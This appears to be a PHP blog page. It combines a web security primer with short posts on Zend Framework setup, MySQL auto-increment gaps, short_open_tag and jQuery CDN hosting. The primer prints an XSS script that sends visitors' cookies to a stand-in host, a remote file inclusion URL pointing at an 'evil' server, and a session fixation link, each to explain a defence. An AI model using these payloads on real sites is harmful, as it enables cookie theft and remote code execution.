Basic principles of Web application security

Basic principles of Web application security

Some general principles of web security, every web developer needs to know.

As we all know PHP make us rich in internet based application and we are surrounded by a lot of applications and almost all types. As the popularity increases and attacker(threats) also increases in same proportion.

 

Before analyzing specific attacks and how to protect against them, it is necessary to have a foundation on some basic principles of Web application security, by following these will not  provide 100% guarantee but will protect your application from threats and make you aware about the possible attacks. Understanding and practicing these concepts is essential to ensure the security of your applications.

 

All input(s) is tainted

If the data originates from a foreign source such as user form input,the query string, or even an RSS feed, it cannot be trusted. It is tainted data.

 

The data in all of PHP’s superglobals arrays should also be considered tainted. This is because either all or some of the data provided in the superglobal arrays comes from an external source. Even the $_SERVER array is not fully safe, because it contains some data provided by the client. The one exception is the $_SESSION superglobal array, which is persisted on the server and never over the Internet.

Before processing tainted data, it is important to filter it. Once the data is filtered, then it is considered safe to use.

Filter Input

Since all input is tainted and cannot be trusted, it is necessary to filter your input to ensure that input received is input expected.

 

It is possible to implement some client-side validation code using JavaScript to enforce the user input the valid data, but, it is not always possible to force users to use only your form and, thus, your client-side rules. There are lot of ways for a user to remove these validations, therefore server-side filtering is most important for security, while client-side validation is important for usability.

 

According to me filter the input received with a form, start by initializing a blank array or blank values and populated by the values after filtering the data received.

 

Filtering places the control firmly in your hands and ensures that your application will not receive bad data. It is first and most important way to keep attackers away from your site.

 

Escape Output

Filtering ensures the validity of data coming into the application; escaping protects you and your users from potentially harmful attacks. Output must be escaped because clients—Web browsers, database servers, and so on—often take action when encountering special characters. For Web browsers, these special characters form HTML tags; for database servers, they may include quotation marks and SQL keywords.

 

Therefore, it is necessary to know the intended destination of output and to escape accordingly.

 

To escape output intended for a Web browser, PHP provides htmlspecialchars() and htmlentities(), the latter being the most exhaustive and, therefore, recommended function for escaping.

 

Escape output intended for a database server, such as in an SQL statement, with the database-driver-specific *_escape_string() function; when possible, use prepared statements. Since PHP 5.1 includes PHP Data Objects (PDO), you may use prepared statements for all database engines for which there is a PDO driver. If the database engine does not natively support prepared statements, then PDO emulates this feature transparently for you.

 

Register Globals

It is a php.ini settings and when it found set On, the register_globals configuration directive automatically injects variables into scripts. That is, all variables from the query string, posted forms, session store, cookies, and so on are available in what appear to be locally-named variables.

 

Thus, if variables are not initialized before use, it is possible for a malicious user to set script variables and compromise an application.

Note that a by-product of having register_globals turned on is that it is impossible to determine the origin of input.

 

Before PHP 4.2.0, the register_globals configuration directive was set to On by default. Since then, this directive has been set to Off by default; as of PHP 6, it will no longer exist. Check the PHP Changelog for more information or reference.

 

Website Security

Website security refers to the security of the elements of a website through which an attacker can interface with your application. These vulnerable points of entry include forms and URLs, which are the most likely and easiest candidates for a potential attack.

 

In short, proper input filtering and output escaping will mitigate most of these risks.

 

Spoofed Forms

A common method used by attackers is a spoofed form submission. There are various ways to spoof forms, the easiest of which is to simply copy a target form and execute it from a different location. Spoofing a form makes it possible for an attacker to remove all client-side restrictions imposed upon the form in order to submit any and all manner of data to your application.

 

Despite the fact that spoofed form submissions are hard to prevent, it is not necessary to deny data submitted from sources other than your forms. It is necessary, however, to ensure that all input plays by your validation rules.
Filtering input ensures that all data must conform to a list of acceptable values, and even spoofed forms will not be able to get around your server-side filtering rules.

 

Cross-Site Scripting

Cross-site scripting (XSS) is one of the most common and best known kinds of attacks.

 

The simplicity of this attack and the number of vulnerable applications in existence make it very attractive to malicious users. An XSS attack exploits the user’s trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.

 

Consider the following form, a very simple and most common example. It allows a user to add a comment to another user’s profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user’s profile.

 

<form method="POST" action="process.php">
    <p>Add a comment:</p>
    <p><textarea name="comment"></textarea></p>
    <p><input type="submit" /></p>
</form>

 

Imagine that a malicious user submits a comment on someone’s profile that contains the following content:

 

<script>
    document.location = 'http://examplesite.com/getcookies.php?cookies='+ document.cookie;
</script>

 

Now, everyone visiting this user’s profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with $_GET[‘cookies’] and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.

 

Cross-Site Request Forgeries(CSRF)

A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitrary HTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access.

 

Whereas an XSS attack exploits the user’s trust in an application, a forged request exploits an application’s trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, it will not prevent your application from receiving forged requests.

 

Now a days almost all open-sources and frameworks follow the token method, It involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user.

 

Database Security

When using a database and accepting input to create part of a database query, it is easy to fall victim to an SQL injection attack. SQL injection occurs when a malicious user experiments on a form to gain information about a database. After gaining sufficient knowledge—usually from database error messages—the attacker is equipped to exploit the form for any possible vulnerabilities by injecting SQL into form fields.

 

SQL injection attacks are possible due to a lack of filtering and escaping. Properly filtering input and escaping the output for SQL will eliminate the risk of attack. To escape output for an SQL query, use the driver-specific *_escape_string() function for your database. If possible, use bound parameters (very much effective).

Session Security

There are two popular forms of session attacks are session fixation and session hijacking.

 

Session Fixation or Session Riding: whenever user click the link.

<a href="http://examplesite.com/index.php?PHPSESSID=123456">Click here</a>

 

While the user accesses your site through this session, they may provide sensitive information or even login credentials. If the user logs in while using the provided session identifier, the attacker may be able to “ride” on the same session and gain access to the user’s account.

 

This is why session fixation is sometimes referred to as “session riding.” Since the purpose of the attack is to gain a higher level of privilege, Every time a user’s access level changes, it is necessary to regenerate the session identifier. PHP makes this a simple task with session_regenerate_id().

session_start();
// If the user login is successful, regenerate the session ID
if (authenticated())
{
    session_regenerate_id();
}

 

Session hijacking is generic term used to describe any means by which an attacker gains a user’s valid session identifier (rather than providing one of his own).

 

For example, suppose that a user logs in. If the session identifier is regenerated, they have a new session ID. What if an attacker discovers this new ID and attempts to use it to gain access through that user’s session? It is then necessary to use other means to identify the user.

 

One way to identify the user in addition to the session identifier is to check various request headers sent by the client. One request header that is particularly helpful and does not change between requests is the User-Agent header. Since it is unlikely (at least in most legitimate cases) that a user will change from one browser to another while using the same session, this header can be used to determine a possible session hijacking attempt.

 

After a successful login attempt, store the User-Agent into the session:

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

 

Then, on subsequent page loads, check to ensure that the User-Agent has not changed. If it has changed, then that is cause for concern, and the user should log in again.

if ($_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT'])
{
    // Force user to log in again in system
    exit;
}

 

File System Security

PHP has the ability to directly access the file system and even execute shell commands.

While this affords developers great power, it can be very dangerous when tainted data ends up in a command line.

 

Remote Code Injection

A remote code injection attack occurs when an attacker is able to cause your application to execute PHP code of their choosing. This can have devastating consequences for both your application and system.

 

e.g. many applications make use of query string variables to structure the application into sections, such as: http://examplesite.com/?section=news. One such application may use an include statement to include a script to display the “news” section:

include "{$_GET['section']}/data.inc.php";

 

When using the proper URL to access this section, the script will include the file located at news/data.inc.php. However, consider what might happen if an attacker modified the query string to include harmful code located on a remote site? The following URL illustrates how an attacker can do this:

http://examplesite.com/?section=http%3A%2F%2Fevil.examplesite.com%2Fattack.inc%3F

Now, the tainted section value is injected into the include statement, effectively rendering
it as such:

include "http://evil.examplesite.com/attack.inc?/data.inc.php";

 

The application will include attack.inc, located on the remote server, which treats /data.inc.php as part of the query string (thus effectively neutralizing its effect within your script). Any PHP code contained in attack.inc is executed and run, causing whatever harm the attacker intended.

 

Filtering might be as simple as specifying a certain set of expected values for section:

$clean = array();
$sections = array('home', 'news', 'photos', 'blog');
if (in_array($_GET['section'], $sections))
{
    $clean['section'] = $_GET['section'];
}
else
{
    $clean['section'] = 'home';
}
include "{clean['section']}/data.inc.php";

The allow_url_fopen directive in PHP provides the feature by which PHP can access URLs, treating them like regular files—thus making an attack such as the one described here possible. By default, allow_url_fopen is set to On; however, it is possible to disable it in php.ini, setting it to Off, which will prevent your applications from including or opening remote URLs as files.

 

Command Injection

PHP provides great power with the exec(), system() and passthru() functions, as well as the ‘ (backtick) operator, these must not be used lightly, and it is important to take great care to ensure that attackers cannot inject and execute arbitrary system commands.

 

Also, PHP provides escapeshellcmd() and escapeshellarg() as a means to properly escape shell output. When possible, avoid the use of shell commands.

 

If they are necessary, avoid the use of client input to construct dynamic shell commands.

 

Shared Hosting

PHP safe_mode will no longer be available as of PHP 6. Still, there are three php.ini directives that remain important in a shared hosting environment: open_basedir, disable_functions, and disable_classes. These directives do not depend upon safe_mode, and they will remain available for the foreseeable future.

 

The open_basedir directive provides the ability to limit the files that PHP can open to a specified directory tree. When PHP tries to open a file with, for example, fopen() or include, it checks the the location of the file. If it exists within the directory tree specified by open_basedir, then it will succeed; otherwise, it will fail to open the file.
You may set the open_basedir directive in php.ini or on a per-virtual-host basis in httpd.conf.

 

In the following httpd.conf virtual host example, PHP scripts may only open files located in the /home/user/www and /usr/local/lib/php directories (the latter is often the location of the PEAR library):

<VirtualHost *>
    DocumentRoot /home/user/www
    ServerName www.examplesite.com

    <Directory /home/user/www>
    php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
    </Directory>
</VirtualHost>

The disable_functions and disable_classes directives work similarly, allowing you to disable certain native PHP functions and classes for security reasons. Any func tions or classes listed in these directives will not be available to PHP applications running on the system. You may only set these in php.ini.

 

The following example illustrates the use of these directives to disable specific functions and classes:

; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory

 

Despite the many ways your applications can be attacked, for simple words can sum up most solutions to Web application security problems (though not all): filter input, escape output.

 

However, the responsibility is yours  😯

Install Zend Framework on Shared hosting server

If your site is hosted on Shared Server and you want to use Zend library on your project.

 

For Dedicated server, you have full root access and can have remote or full putty access of your server, you can install/uninstall any library as well as software in the server.
The same will be done by Server Guy on your request.

 

But, in this case “Shared hosting”, you should handle these either by using .htaccess file or by overriding the php.ini file, let see how you can do this.

 

If you need to install Zend framework what you should do is.

 

1. Check the document root path of your server.Use phpinfo(); php function for check.

<?php
echo phpinfo();
?>

The below is the sreengrab of my local system, the path will be different for your server.

XAMPP_Document_Root_PATH_PHPinfo

 

 

2. Upload Zend library into your hosting server (path : root/library/Zend)

 

3. Create or update your php5.ini (If you are using php5, use php5.ini file) or php.ini file.

put this line, (If you already have, add this line end of the current set, connected with ‘:’)

include_path = [DOCUMENT_ROOT]/Zend Libraray Path

ex) include_path = /home/scriptarticle/public_html/library

 

It’s Done !!

Now test whether the zend installed well or not, let’s echo the Zend frame work version.

 

<?php
require_once 'Zend/Version.php';
echo 'Zend Framework Version : ' . Zend_Version::VERSION;
?>

 

If you see your Zend version, that means your Zend framework has been installed successfully!

 

Save

How to prevent gaps/holes in a MySQL table AUTO_INCREMENT Primary Key field

Prevent gaps/holes in a MySQL table AUTO_INCREMENT Primary Key field.

 

Generally during the MySQL database development you create tables with a Primary Key, a very simple way to create a primary key is make it Auto-increment and unsigned integer with Not Null property right?

 

I think most of you generally follow the above process. Suppose you are playing a very large database and have a very large number of Ids, I know this is rarely happens but you should aware this one, you might face an issue where the new row insertion will through error.

 

Have a look on MySQL data type and their range

 

INT – A normal-sized integer that can be signed or unsigned.
– If signed, the allowable range is from -2147483648 to 2147483647.
– If unsigned, the allowable range is from 0 to 4294967295.
– Max allowed length is 11 digits.

 

TINYINT – A very small integer that can be signed or unsigned.
– If signed, the allowable range is from -128 to 127.
– If unsigned, the allowable range is from 0 to 255.
– Max allowed length is 4 digits.

 

SMALLINT – A small integer that can be signed or unsigned.
– If signed, the allowable range is from -32768 to 32767.
– If unsigned, the allowable range is from 0 to 65535.
– Max allowed length is 5 digits.

 

MEDIUMINT – A medium-sized integer that can be signed or unsigned.
– If signed, the allowable range is from -8388608 to 8388607.
– If unsigned, the allowable range is from 0 to 16777215.
– Max allowed length is 9 digits.

 

BIGINT – A large integer that can be signed or unsigned.
– If signed, the allowable range is from -9223372036854775808 to 9223372036854775807.

– If unsigned, the allowable range is from 0 to 18446744073709551615.
– Max allowed length is 20 digits.

 

Let a suppose you have specified your primary key as INT so the max number you can enter with in it is 4294967295 (if unsigned),
Yes it is not a small number and will not reach generally but if the system allow deletion of records/data on daily basis then what will happen, one day a new row will not insert and it will reach a max limit as you know once a row deleted that id will not use any more and you will have a lot of holes/gaps in the id that was not used.

 

I think you have got what I want to say. You have a table named as student with simply 2 columns
id and name and your table data are

 

1 student1
2 student2
3 student3
.. ..
20 student 20

 

Now you have deleted 2 and 3 id’s records then these id will never user by auto-increment id (primary key), you can use these id but you should know which id is not used and how to fetch this automatically, it will very hard to find if there are lot of rows.

 

How to fill or use this id or holes or gaps automatically.
Use the below query to insert the id instead of use this automatically. It will return NULL if no gap/hole is there in the primary key.

 

SELECT MIN(st1.id+1)
FROM student st1
LEFT JOIN student st2 ON st2.id = st1.id + 1
WHERE st2.id IS NULL

The above query returns you an id that can be used to insert the new row.

There are some most important note you should take care before using these.

 

You should not have values (id) on other tables associated (as a foreign key) with the deleted primary key. If this happen your rest of life will not fine. You should take care that when you insert a new entry with primary key that was taken from the gap, the gaped value should not be there in the associated tables.

You should clean ALL of your tables when you delete a primary key.

 

PHP short_open_tag = On should not be used

After a fresh installation you could find that PHP short_open_tag disabled by default in php.ini file.

 

You can check by using phpinfo() PHP function.

Under PHP Core setting you can find as below

 

Directive Local Value Master Value
short_open_tag Off Off

 

If “short_open_tag” is found off in your php.ini file then you cannot use short form (<? ?>) of PHP’s open tag and you must use long form of PHP tags (<?php ?>) instead, otherwise any PHP code inside these tags will not be parsed as PHP.

 

Drawback of PHP short_open_tag if you have enabled.

 

1) Setting this value to off allows for easier use alongside XML by providing the ability to use <?xml ?> inline without having to print it with PHP echo ‘<?xml version=”1.0″?>’; ?>.

 

With the wide spread use of XML(SOAP, XMLRPC, REST-XML) and use of these tags by other languages, the server can become easily confused and end up parsing the wrong code in the wrong context. But because this short cut has been a feature for such a long time, it’s currently still supported for backwards compatibility, but it’s recommend you don’t use them.

 

2) All the standard library use <?php ?>, full php tags so we can say it’s a standard, if you are open source script (distributable or portable script) writer or have PHP open sources community member then it’s always recommended to use full tag instead of short_tag as by default PHP have it disabled in php.ini settings.

 

3) Due to security reasons in some extent it’s advised to not to use short_open_tag.

 

If you still want to use short_open_tag or if you have just entered in a large application that is previously build by any other developer and he have used short_tags in many places, but your you php setting is was disabled then you should enabled short_open_tag, let me tell how you should do this quickly.

 

1) Open you root’s .htaccess file and add the following in that

php_flag short_open_tag on

or

php_value short_open_tag 1

 

2) If you php.ini access and can update any php directive and setting then open php.ini file and change
short_open_tag = Off to short_open_tag = On

It’s always advised to start Apache services after any changes in php.ini settings.

 

3)

 ini_set( "short_open_tag", 1 ); 

will not work, if you are trying to do as it (short_open_tag) is marked as PHP_INI_PERDIR in PHP < 5.3.0, which means you can’t change it with ini_set(). You can check this by below link.

 

Description of core php.ini directives

 

 

Advantages: Let Google Host jQuery For Your Website

Most of us (Web Developer) use JQuery during the development, if you are not aware about the jQuery or interested in any other JavaScript Library then below is just a very quick overview about the jQuery.

 

jQuery is a fast, small, and feature-rich JavaScript library. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers. With a combination of versatility and extensibility, jQuery has changed the way that millions of people write JavaScript.”

 

Well, how you include that in your file, generally as below.

<script type="text/javascript" src="/js/jQuery.1.8.x.min.js"></script>

 

We all know that the load of JavaScript directly affect the site page load time and Obviously on SEO. Then how to get rid by jQuery?
No worries, you know as usual Google always help us so let Google host jQuery for your website.

 

You can let Google AJAX Libraries CDN (content delivery network) serve jQuery directly from Google’s network as below.
There are three main benefits of doing this is Decreased latency, Increased parallelism and Better caching that directory affect you site page load.

 

You should use/include JQuery as below

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>

 

Benefits of Google CDN Networks(Google hosted JavaScript Libraries)

 

Decreased Latency
A Content Delivery Network (CDN) distributes static content across various servers, diverse physical locations worldwide. When a user visits a page serving files from a CDN, their download will automatically target the closest available server in the network which can reduce download times.

 

Increased Parallelism
All browsers limit the number of connections that can be made simultaneously. Depending on which browser, this limit may be as low as two connections per hostname.
Using the Google AJAX Libraries CDN eliminates one request to your site, allowing more of your local content to be downloaded in parallel.

 

Better Caching
When a user visits a site, their browser will download static files so that when the user visits that page the files will not have to be downloaded again, saving bandwidth usage, server load.
Google AJAX Libraries CDN is that your users may not need to download jQuery at all.

 

If you’re curious why the <script> reference is missing the leading http:, It’s a trick which allows you to use a single reference that works on both HTTP and HTTPS pages.

 

“Protocol-less” URL is the best way to reference third party content that’s available via both HTTP and HTTPS.

 

Solved: PHP move_uploaded_file and copy function both is not uploading the file in destination directory

Fixed: PHP move_uploaded_file() and copy() function is not uploading the file

In the programming field we usually need to upload the files in the folders.

In PHP, we have 2 functions for the purpose.

1st is move_uploaded_file()

2nd one is copy().

 

I think you know well, what the difference between these two copy() vs move_uploaded_file().

Well, if you not aware about the difference between the above 2 PHP functions that is used for file uploading.
Click to view the difference between PHP copy() and PHP move_uploaded_file() function.

 

But this is not my prupose for wrting this post. I want to aware you that sometimes the file uploaded error is something different.
First of all whenever you upload a file you just need to check weather you have used encryption type enctype=”multipart/form-data” and have to use POST method.

 

GET method can’t upload file in any case.
Cool, you have used that then first of all check weather the file has been passed by form and have uploaded to the temp directory.
Basically this is the functionality of file uploading, first during the form post action file uploaded to the temp directory and then we have to move or copy that file in our desired folder or directory.

 

How can you check the temp directory, in which file is going to upload, you can check the same using phpinfo().

upload-temp-directory

You can also change the same (default temp directory) that can be seen in the php.ini file.

If you uploaded a file, but file is not uploaded, first check whether the file ha been uploaded in temp directory or not.
If there has been some error occurred, you can check by print_r array of $_FILES variable.

 

$_FILES

If you get error that means files is not uploaded in temp directory.
It may have 2 reasons, whether the directory no exists or the directory hasn’t proper permission.

 

You can get rid by 2 solutions.

1) Change the path of temp directory in php.ini
2) Check the permission and folder existence.

 

I think, you will better fix the issue related to file upload.

Better Coding, Happy Coding!!

Save